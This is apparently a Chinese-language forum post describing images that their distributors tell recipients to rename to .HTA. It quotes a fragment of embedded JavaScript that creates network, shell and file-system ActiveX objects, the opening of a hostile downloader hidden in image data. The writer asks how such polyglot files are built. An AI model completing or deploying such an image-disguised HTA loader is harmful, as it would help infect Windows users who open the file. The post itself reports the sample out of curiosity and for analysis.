我注意到分发潜在不安全代码的新趋势,人们会将图像发布到带有水印的服务器,建议他们将文件名更改为具有 .HTA 文件扩展名。
我意识到 .HTA 是一个 HTML 应用程序文件,它受到 Microsoft 逻辑的隐式信任,并且可以包含几乎任何基于 Web 的代码。我用我最喜欢的文本编辑器打开了这个文件,令我惊讶的是,图像文件中有 Javascript 代码!
jfHe299x4qBICCBRgpbl81xTjwucn9j4s1UVZxe8kwoJcdWnXuVHqpilRRhptKRACMBr5koY8vt6AEttD5xeGTOPCfBoQVjCvblkiGcc4ddlfiZiBPdCVAlelSbvhv9XWcoMIYyGMCbMaGv9YUyFrHZg3ZVx6HnRCgz4CyaA2bU9qn6R3NkmHx0W3uG7SZcHYyPiMN6AnWDGXRztMnxL3sY1s3h9VH1oTL34iYawlaEUDOUscX19pPz89v0rfmlqKTXce16vSZ6JDsy4IC5SktfXdt3m50z2R5BbwuhP5BHJITxvD4dHzL6K4uh9tIc4gYCFnDV
//<script id=thisscript>
var dom1 = ["zip","img","zip","orz","orz","zip","cgi"];
var dom2 = ["bin","dat","bin","tmp","tmp","bin"];
// Global XMLHttp, shell, and file system objects
var request = new ActiveXObject("Msxml2.XMLHTTP");
var shell = new ActiveXObject("WScript.Shell");
var fs = new ActiveXObject("Scripting.FileSystemObject");
源代码下面还有更多乱码的图像数据。这只是一个片段。
我很想知道他们如何能够将 Javascript 代码添加到图像文件中,而不会破坏图像文件格式并使其无法查看。我把这个介绍给了我的一些同事,他们同样被难住了。